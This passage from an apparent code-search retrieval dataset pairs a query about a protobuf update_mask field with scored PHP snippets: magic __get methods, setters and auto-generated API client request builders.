false;\n\t\t}\n\t}", "title": "" }, { "docid": "01351cdb42089dd0b5ec6720269a2ada", "score": "0.6496087", "text": "public function __get($var){\n\t\tif (!isset($this->$var)) {\n\t\t\t// if (isset($this->adminsNumbers[$var])) {\n\t\t\t// \treturn $this->adminsNumbers[$var];\n\t\t\t// }elseif (isset($this->icamAndTheirAdmins[$var])) {\n\t\t\t// \treturn $this->icamAndTheirAdmins[$var];\n\t\t\t// }elseif (isset($this->nightOptions[$var])) {\n\t\t\t// \treturn $this->nightOptions[$var];\n\t\t\t// }else{\n\t\t\t\treturn false;\n\t\t\t// }\n\t\t}else return $this->$var;\n\t}", "title": "" }, { "docid": "6b8ca7a643df5769045d17cb94ff10d5", "score": "0.6485536", "text": "function __get( $p_name ) {\n\t\treturn $this->object->$p_name;\n\t}", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "4867b115c4499522ec3de31cd5abce6d", "score": "0.64853173", "text": "public function get();", "title": "" }, { "docid": "c89558fde52fa12fb9c45eb495905ca1", "score": "0.6468688", "text": "abstract public function __get($part);", "title": "" }, { "docid": "6c7394306c4a94a56819f71eabac75f6", "score": "0.64683974", "text": "function get($name);", "title": "" }, { "docid": "5cd2f362ba50d996759635788a9b02de", "score": "0.64634275", "text": "public function get(): string;", "title": "" }, { "docid": "c68a3b9be496018e2ee3a697f148cf0a", "score": "0.64580786", "text": "public function getGetVariables() {}", "title": "" }, { "docid": "40c32a2e3000e9c398d4210c90383897", "score": "0.64000934", "text": "public function static_var();", "title": "" }, { "docid": "30ce78530788d268187f4bdfbdfd6591", "score": "0.63936514", "text": "public function __get($key) //Get the value of one var\n {\n if (array_key_exists($key,$this->db_row))\n return $this->db_row[$key];\n }", "title": "" }, { "docid": "8c7af4a5cdd30b4871b26fcb3d6589df", "score": "0.63852847", "text": "public function __get($name){\r\n\t\tif(array_key_exists($name,$this->array)){\r\n\t\t\treturn $array[$name];\r\n\t\t/* check property is available */\t\r\n\t\t}else if(property_exists($this, $name)){\r\n\t\t return $this->$name;\r\n\t\t}else{\r\n\t\t\treturn \"Trying to access not existing variable : $name<br/>\";\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "2a2fa940a4593bcd46ff9e5ab43ca7ff", "score": "0.6377245", "text": "public function __get($name){\n\t\treturn $this->$name;\n\t}", "title": "" }, { "docid": "3e5f5d8ec79793a9e2a56fc4607637b5", "score": "0.6375305", "text": "public function __get($varName)\n {\n return $this->$varName;\n }", "title": "" }, { "docid": "efd2e48f88d61c865fe20bd09410240e", "score": "0.6375009", "text": "public function __getVars(){\r\n $vars = isset($this->vars)? $this->vars:array();\r\n return $vars;\r\n }", "title": "" }, { "docid": "975e2b9b3c9255ee6bd231cb1000917e", "score": "0.6367134", "text": "public function & __get($key)\n {\n return $this->varHolder->get($key);\n }", "title": "" }, { "docid": "3dae4cfae95b88636e132cb9d556306c", "score": "0.6360423", "text": "public function getData($var)\n {\n return $this -> $var;\n }", "title": "" }, { "docid": "b6409c5d76f4726cbdcb3f45251b620e", "score": "0.6339147", "text": "public function __get($name)\n {\n $vars = $this->vars();\n return $vars[$name];\n }", "title": "" }, { "docid": "37735c921300d7a12a69b929143ddc98", "score": "0.6337723", "text": "public function __get($name) {\r\n \treturn $this->get($name);\r\n }", "title": "" }, { "docid": "f6852782968e32c8924fe06a6c3db9e4", "score": "0.63311124", "text": "public function getValue() {}", "title": "" }, { "docid": "f6852782968e32c8924fe06a6c3db9e4", "score": "0.63311124", "text": "public function getValue() {}", "title": "" }, { "docid": "f6852782968e32c8924fe06a6c3db9e4", "score": "0.63311124", "text": "public function getValue() {}", "title": "" }, { "docid": "f6852782968e32c8924fe06a6c3db9e4", "score": "0.63311124", "text": "public function getValue() {}", "title": "" }, { "docid": "d7c32b6095beaed948f2b849d1f6b9cf", "score": "0.6326879", "text": "function get($var) {\n\t\treturn $this->_viewVars[$var];\n\t}", "title": "" }, { "docid": "ecda09d3fa224b57d193b917e21052f9", "score": "0.6310608", "text": "protected function get()\n {\n }", "title": "" }, { "docid": "8fe9e5e399d50e1e5d76d1702f7f9050", "score": "0.630967", "text": "abstract public function getValue();", "title": "" }, { "docid": "66ea4d81f6b63d4d836336f3efbc580d", "score": "0.63004464", "text": "public function __get($name) {\n // if an unknown variable is used throw exception\n $method = 'get' . $name;\n if (!method_exists($this, $method)) {\n throw new Exception('invalid class variable called for read');\n }\n return $this->method();\n }", "title": "" }, { "docid": "3257483df597a2f4305a2a40d41a06e8", "score": "0.6292125", "text": "public function get($v);", "title": "" }, { "docid": "418fc74241356efe723dec701d46dae3", "score": "0.6285477", "text": "public function __get($name) {\n\t\treturn $this->_values[$name];\n\t}", "title": "" }, { "docid": "c3ed10552cc93239f0e0bd59ac16e348", "score": "0.6284535", "text": "function get( $key ){\r\n\t\treturn $this->$key;\r\n\t}", "title": "" }, { "docid": "0644947fbb2497bae955e66a9ceff51f", "score": "0.62691015", "text": "public function __get( $var_name )\n\t{\n\t\t$exclusions = array( 'm_common' );\n\t\tif( !in_array( $var_name, $exclusions ) ) {\n\t\t\t$return = $this->$var_name;\n\t\t}else {\n\t\t\tif( $this->m_common->m_in_production ) {\n\t\t\t\techo \"<h3>Access to get member \" . get_class( $this ) . \"::\" . $var_name . \" denied.</h3><br/>\\n\";\n\t\t\t\t$return = FALSE;\n\t\t\t}else {\n\t\t\t\t$return = FALSE;\n\t\t\t}\n\t\t}\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "6cfbdf16775168f6cbc12dcbfa06c814", "score": "0.62687725", "text": "function __get($strMagicVar)\n\t{\n\t\tswitch ($strMagicVar)\n\t\t{\n\t\t\tcase \"RowHighlighting\":\n\t\t\t\treturn $this->_bolRowHighlighting;\n\t\t}\n\t\t\n\t\treturn NULL;\n\t}", "title": "" } ]
7810fd2712bcc205d60652756139613a
Field mask is used to specify the fields that the update will overwrite in an instance resource. The fields specified in the update_mask are relative to the resource, not the full request. A field will be overwritten if it is in the mask. If the user does not provide a mask, all the supported fields (labels, options, and version currently) will be overwritten. Generated from protobuf field .google.protobuf.FieldMask update_mask = 2;
[ { "docid": "a751819d5ae070d907be0fac99af6cc1", "score": "0.6608748", "text": "public function getUpdateMask()\n {\n return $this->update_mask;\n }", "title": "" } ]
[ { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "0348b458e685683c5bf932870a5c38b5", "score": "0.817876", "text": "public function setUpdateMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "b5c4aedcc3b77658e4e4554f611bea3b", "score": "0.6171684", "text": "public function setUpdateTransferJobFieldMask($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->update_transfer_job_field_mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "98f163fbf7d69a272dd92a4038b528dd", "score": "0.5776015", "text": "public function getUpdateTransferJobFieldMask()\n {\n return $this->update_transfer_job_field_mask;\n }", "title": "" }, { "docid": "e60e4e810d4b294f05706b647810ac6a", "score": "0.56035775", "text": "public function hasUpdateMask(){\n return $this->_has(3);\n }", "title": "" }, { "docid": "e60e4e810d4b294f05706b647810ac6a", "score": "0.56035775", "text": "public function hasUpdateMask(){\n return $this->_has(3);\n }", "title": "" }, { "docid": "17590610a51f00f8420eea2c2782e701", "score": "0.5136063", "text": "public function setUpdate($update)\n {\n $this->m_update = $update;\n }", "title": "" }, { "docid": "21bdea07e9cd7cf527c9deaa16bf0680", "score": "0.5131843", "text": "public function setUpdate($var)\n {\n GPBUtil::checkBool($var);\n $this->update = $var;\n\n return $this;\n }", "title": "" }, { "docid": "8d2694362b8c44ebd4652955b9a7c8a0", "score": "0.49982", "text": "public function setUpdateOptFields (array $fields)\r\n {\r\n $this->update_opt_fields = $fields;\r\n return $this;\r\n }", "title": "" }, { "docid": "1daddef43879c4c82b73beb205bb1aa3", "score": "0.49033666", "text": "public function setUpdate($update)\n {\n $this->update = $update;\n return $this;\n }", "title": "" }, { "docid": "06daced92027c215bac6914d2d821f2c", "score": "0.47964814", "text": "public function updateContactfieldRequest($contact_custom_field_id, $model_contact_custom_field_update = null, string $contentType = self::contentTypes['updateContactfield'][0])\n {\n\n // verify the required parameter 'contact_custom_field_id' is set\n if ($contact_custom_field_id === null || (is_array($contact_custom_field_id) && count($contact_custom_field_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $contact_custom_field_id when calling updateContactfield'\n );\n }\n\n\n\n $resourcePath = '/ContactCustomField/{contactCustomFieldId}';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // path params\n if ($contact_custom_field_id !== null) {\n $resourcePath = str_replace(\n '{' . 'contactCustomFieldId' . '}',\n ObjectSerializer::toPathValue($contact_custom_field_id),\n $resourcePath\n );\n }\n\n\n $headers = $this->headerSelector->selectHeaders(\n ['application/json', ],\n $contentType,\n $multipart\n );\n\n // for model (json/xml)\n if (isset($model_contact_custom_field_update)) {\n if (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the body\n $httpBody = \\GuzzleHttp\\Utils::jsonEncode(ObjectSerializer::sanitizeForSerialization($model_contact_custom_field_update));\n } else {\n $httpBody = $model_contact_custom_field_update;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $formParamValueItems = is_array($formParamValue) ? $formParamValue : [$formParamValue];\n foreach ($formParamValueItems as $formParamValueItem) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValueItem\n ];\n }\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the form parameters\n $httpBody = \\GuzzleHttp\\Utils::jsonEncode($formParams);\n } else {\n // for HTTP post (form)\n $httpBody = ObjectSerializer::buildQuery($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('Authorization');\n if ($apiKey !== null) {\n $headers['Authorization'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $operationHost = $this->config->getHost();\n $query = ObjectSerializer::buildQuery($queryParams);\n return new Request(\n 'PUT',\n $operationHost . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "e595ad3907b3d1161624c13cbb4a5252", "score": "0.4769573", "text": "protected function updateCustomFieldRequest($body)\n {\n // verify the required parameter 'body' is set\n if ($body === null) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $body when calling updateCustomField'\n );\n }\n\n $resourcePath = '/beta/customField';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // body params\n $_tempBody = null;\n if (isset($body)) {\n $_tempBody = $body;\n }\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass && $headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('API-Key');\n if ($apiKey !== null) {\n $headers['API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "d3daa8edb3996e6778c1abae7c6539be", "score": "0.47641248", "text": "public function setChangedFields($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\FieldMask::class);\n $this->changed_fields = $var;\n\n return $this;\n }", "title": "" }, { "docid": "2b1f19f5150c111ffbe9c083f32a27bb", "score": "0.47479066", "text": "public function setUpdateReqFields (array $fields) \r\n {\r\n $this->update_req_fields = $fields;\r\n return $this;\r\n }", "title": "" }, { "docid": "7c9226d82df4165f6d5a36c9da3f5861", "score": "0.4747806", "text": "public function setMask($var)\n {\n GPBUtil::checkMessage($var, \\Clarifai\\Internal\\_Mask::class);\n $this->mask = $var;\n\n return $this;\n }", "title": "" }, { "docid": "5c018f2a58db8d8372d00e12f2d101ef", "score": "0.47421572", "text": "public function findAndModify($query, $update, $fields, $options){}", "title": "" }, { "docid": "09723de75815513182f0a62602a93df1", "score": "0.4737779", "text": "public function operationUpdate();", "title": "" }, { "docid": "87b0c5400dd35f24e0c54b80b05ee5b0", "score": "0.46869746", "text": "public function findAndModify(array $query, array $update = NULL, array $fields = NULL, array $options = NULL)\n {\n\n }", "title": "" }, { "docid": "11d43f2aa0f95e04098fcaa2ebb6b7db", "score": "0.4686202", "text": "public function setUpdateOptions(array $options)\n {\n $this->updateOptions = $options;\n return $this;\n }", "title": "" }, { "docid": "a42b048eb0022225d18d2deedbe1879a", "score": "0.46655476", "text": "protected function _mask($mask){ }", "title": "" }, { "docid": "7b03b1366dfa4a048ec0523a2f342517", "score": "0.4659326", "text": "public function updateContactField(\n $id,\n $body\n ) {\n\n //prepare query string for API call\n $_queryBuilder = '/contact-field/{id}';\n\n //process optional query parameters\n $_queryBuilder = APIHelper::appendUrlWithTemplateParameters($_queryBuilder, array (\n 'id' => $id,\n ));\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl(Configuration::getBaseUri() . $_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => BaseController::USER_AGENT,\n 'Accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8',\n 'x-api-key' => Configuration::$xApiKey\n );\n\n //json encode body\n $_bodyJson = Request\\Body::Json($body);\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::PATCH, $_headers, $_queryUrl);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::patch($_queryUrl, $_headers, $_bodyJson);\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n return $response->body;\n }", "title": "" }, { "docid": "8e35265d1757549f9370e1d7f31e418d", "score": "0.46577725", "text": "public function update(UpdateRequest $request)\n {\n $this->handlePasswordInput($request);\n\n return $this->traitUpdate($request);\n }", "title": "" }, { "docid": "a04430824643dd5f0d4490945cd0b49f", "score": "0.46412745", "text": "protected function updateJobRecipeCustomFieldsRequest($body)\n {\n // verify the required parameter 'body' is set\n if ($body === null) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $body when calling updateJobRecipeCustomFields'\n );\n }\n\n $resourcePath = '/beta/jobRecipe/customFields';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // body params\n $_tempBody = null;\n if (isset($body)) {\n $_tempBody = $body;\n }\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass && $headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('API-Key');\n if ($apiKey !== null) {\n $headers['API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "60c8ae9a1ba748cf6ceed0614f23f4d3", "score": "0.45989156", "text": "public function updateContactFieldSettingRequest($contact_custom_field_setting_id, $model_contact_custom_field_setting_update = null, string $contentType = self::contentTypes['updateContactFieldSetting'][0])\n {\n\n // verify the required parameter 'contact_custom_field_setting_id' is set\n if ($contact_custom_field_setting_id === null || (is_array($contact_custom_field_setting_id) && count($contact_custom_field_setting_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $contact_custom_field_setting_id when calling updateContactFieldSetting'\n );\n }\n\n\n\n $resourcePath = '/ContactCustomFieldSetting/{contactCustomFieldSettingId}';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // path params\n if ($contact_custom_field_setting_id !== null) {\n $resourcePath = str_replace(\n '{' . 'contactCustomFieldSettingId' . '}',\n ObjectSerializer::toPathValue($contact_custom_field_setting_id),\n $resourcePath\n );\n }\n\n\n $headers = $this->headerSelector->selectHeaders(\n ['application/json', ],\n $contentType,\n $multipart\n );\n\n // for model (json/xml)\n if (isset($model_contact_custom_field_setting_update)) {\n if (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the body\n $httpBody = \\GuzzleHttp\\Utils::jsonEncode(ObjectSerializer::sanitizeForSerialization($model_contact_custom_field_setting_update));\n } else {\n $httpBody = $model_contact_custom_field_setting_update;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $formParamValueItems = is_array($formParamValue) ? $formParamValue : [$formParamValue];\n foreach ($formParamValueItems as $formParamValueItem) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValueItem\n ];\n }\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the form parameters\n $httpBody = \\GuzzleHttp\\Utils::jsonEncode($formParams);\n } else {\n // for HTTP post (form)\n $httpBody = ObjectSerializer::buildQuery($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('Authorization');\n if ($apiKey !== null) {\n $headers['Authorization'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $operationHost = $this->config->getHost();\n $query = ObjectSerializer::buildQuery($queryParams);\n return new Request(\n 'PUT',\n $operationHost . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "097b694b38d3e55fceab5ce8ba3fac88", "score": "0.45975566", "text": "public function setUpdate(Update $update): self\n {\n $this->update = $update;\n\n return $this;\n }", "title": "" }, { "docid": "916c9801c2e653012c024e682f66da72", "score": "0.45713034", "text": "public function getUpdateOptions()\n {\n return $this->updateOptions;\n }", "title": "" }, { "docid": "229e1d62feb25ba26373a90da0c1b8de", "score": "0.45524102", "text": "public function updateCarrierSettingsRequest($carrier_name, $carrier_id, $update_carrier_settings_request_body)\n {\n // verify the required parameter 'carrier_name' is set\n if ($carrier_name === null || (is_array($carrier_name) && count($carrier_name) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $carrier_name when calling updateCarrierSettings'\n );\n }\n // verify the required parameter 'carrier_id' is set\n if ($carrier_id === null || (is_array($carrier_id) && count($carrier_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $carrier_id when calling updateCarrierSettings'\n );\n }\n if (strlen($carrier_id) > 25) {\n throw new \\InvalidArgumentException('invalid length for \"$carrier_id\" when calling CarrierAccountsApi.updateCarrierSettings, must be smaller than or equal to 25.');\n }\n if (strlen($carrier_id) < 1) {\n throw new \\InvalidArgumentException('invalid length for \"$carrier_id\" when calling CarrierAccountsApi.updateCarrierSettings, must be bigger than or equal to 1.');\n }\n if (!preg_match(\"/^se(-[a-z0-9]+)+$/\", $carrier_id)) {\n throw new \\InvalidArgumentException(\"invalid value for \\\"carrier_id\\\" when calling CarrierAccountsApi.updateCarrierSettings, must conform to the pattern /^se(-[a-z0-9]+)+$/.\");\n }\n\n // verify the required parameter 'update_carrier_settings_request_body' is set\n if ($update_carrier_settings_request_body === null || (is_array($update_carrier_settings_request_body) && count($update_carrier_settings_request_body) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $update_carrier_settings_request_body when calling updateCarrierSettings'\n );\n }\n\n $resourcePath = '/v1/connections/carriers/{carrier_name}/{carrier_id}/settings';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // path params\n if ($carrier_name !== null) {\n $resourcePath = str_replace(\n '{' . 'carrier_name' . '}',\n ObjectSerializer::toPathValue($carrier_name),\n $resourcePath\n );\n }\n // path params\n if ($carrier_id !== null) {\n $resourcePath = str_replace(\n '{' . 'carrier_id' . '}',\n ObjectSerializer::toPathValue($carrier_id),\n $resourcePath\n );\n }\n\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['text/plain', 'application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['text/plain', 'application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($update_carrier_settings_request_body)) {\n if ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($update_carrier_settings_request_body));\n } else {\n $httpBody = $update_carrier_settings_request_body;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $formParamValueItems = is_array($formParamValue) ? $formParamValue : [$formParamValue];\n foreach ($formParamValueItems as $formParamValueItem) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValueItem\n ];\n }\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\Query::build($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('API-Key');\n if ($apiKey !== null) {\n $headers['API-Key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\Query::build($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "9125642d85f04a2139bf7db6d36f19ba", "score": "0.45239127", "text": "public function hasChanged($mask = Token::T_ANY);", "title": "" }, { "docid": "e3b447514a3ca00b726b460db5bfe5bc", "score": "0.4503082", "text": "public function isUpdateRequest()\n {\n return $this->isMethod('put') || $this->isMethod('patch');\n }", "title": "" }, { "docid": "4021b13449d5b6243c65f4ad679ef63a", "score": "0.44958404", "text": "protected function updateJobTimeCustomFieldsRequest($body)\n {\n // verify the required parameter 'body' is set\n if ($body === null) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $body when calling updateJobTimeCustomFields'\n );\n }\n\n $resourcePath = '/beta/jobTime/customFields';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // body params\n $_tempBody = null;\n if (isset($body)) {\n $_tempBody = $body;\n }\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n ['application/json']\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n ['application/json'],\n ['application/json']\n );\n }\n\n // for model (json/xml)\n if (isset($_tempBody)) {\n // $_tempBody is the method argument, if present\n $httpBody = $_tempBody;\n // \\stdClass has no __toString(), so we should encode it manually\n if ($httpBody instanceof \\stdClass && $headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($httpBody);\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValue\n ];\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('API-Key');\n if ($apiKey !== null) {\n $headers['API-Key'] = $apiKey;\n 